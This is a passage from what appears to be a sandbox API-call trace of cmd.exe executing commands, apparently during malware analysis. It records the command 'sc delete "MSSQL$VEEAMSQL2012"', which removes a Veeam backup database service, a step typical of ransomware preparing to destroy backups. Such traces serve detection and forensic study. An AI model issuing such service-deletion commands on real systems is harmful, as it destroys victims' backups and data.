_MaxCount=0x7) returned -20 [0070.033] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.033] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.033] GetProcessHeap () returned 0x4a0000 [0070.033] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0070.033] GetProcessHeap () returned 0x4a0000 [0070.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0070.033] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$VEEAMSQL2012\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$VEEAMSQL2012\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"MSSQL$VEEAMSQL2012\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xa04, dwThreadId=0xa80)) returned 1 [0070.036] CloseHandle (hObject=0x50) returned 1 [0070.036] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0070.036] GetProcessHeap () returned 0x4a0000 [0070.036] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.036] GetEnvironmentStringsW () returned 0x4bba10* [0070.036] GetProcessHeap () returned 0x4a0000 [0070.036] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0070.036] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0070.036] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0070.036] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd7000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0070.036] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0070.261] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0070.261] CloseHandle (hObject=0x54) returned 1 [0070.261] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0070.261] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0070.261] GetProcessHeap () returned 0x4a0000 [0070.261] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0070.261] GetEnvironmentStringsW () returned 0x4c1b10* [0070.261] GetProcessHeap () returned 0x4a0000 [0070.261] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0070.261] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.261] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0070.261] GetProcessHeap () returned 0x4a0000 [0070.261] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.261] GetEnvironmentStringsW () returned 0x4bba10* [0070.261] GetProcessHeap () returned 0x4a0000 [0070.261] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0070.261] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0070.261] GetProcessHeap () returned 0x4a0000 [0070.261] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0070.261] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0070.262] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0070.262] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.262] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0070.262] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.262] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0070.262] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.262] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0070.262] GetConsoleOutputCP () returned 0x1b5 [0070.263] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.263] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9840 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0070.263] GetProcessHeap () returned 0x4a0000 [0070.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0070.263] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0070.263] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.263] GetFileType (hFile=0x120) returned 0x3 [0070.263] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0070.263] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0070.264] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0070.264] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0070.264] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0070.264] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0070.264] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.264] GetFileType (hFile=0x120) returned 0x3 [0070.264] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0070.264] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0070.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.264] GetFileType (hFile=0xb8) returned 0x3 [0070.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.264] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.264] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$VEEAMSQL2012\"\n") returned 1 [0070.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$VEEAMSQL2012\"\n") returned 1 [0070.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="QSQL$VEEAMSQL2012\"\n") returned 1 [0070.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="LQL$VEEAMSQL2012\"\n") returned 1 [0070.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="AL$VEEAMSQL2012\"\n") returned 1 [0070.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="g$VEEAMSQL2012\"\n") returned 1 [0070.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="eVEEAMSQL2012\"\n") returned 1 [0070.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="nEEAMSQL2012\"\n") returned 1 [0070.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="tEAMSQL2012\"\n") returned 1 [0070.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="$AMSQL2012\"\n") returned 1 [0070.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="VMSQL2012\"\n") returned 1 [0070.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="ESQL2012\"\n") returned 1 [0070.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="EQL2012\"\n") returned 1 [0070.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="AL2012\"\n") returned 1 [0070.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, 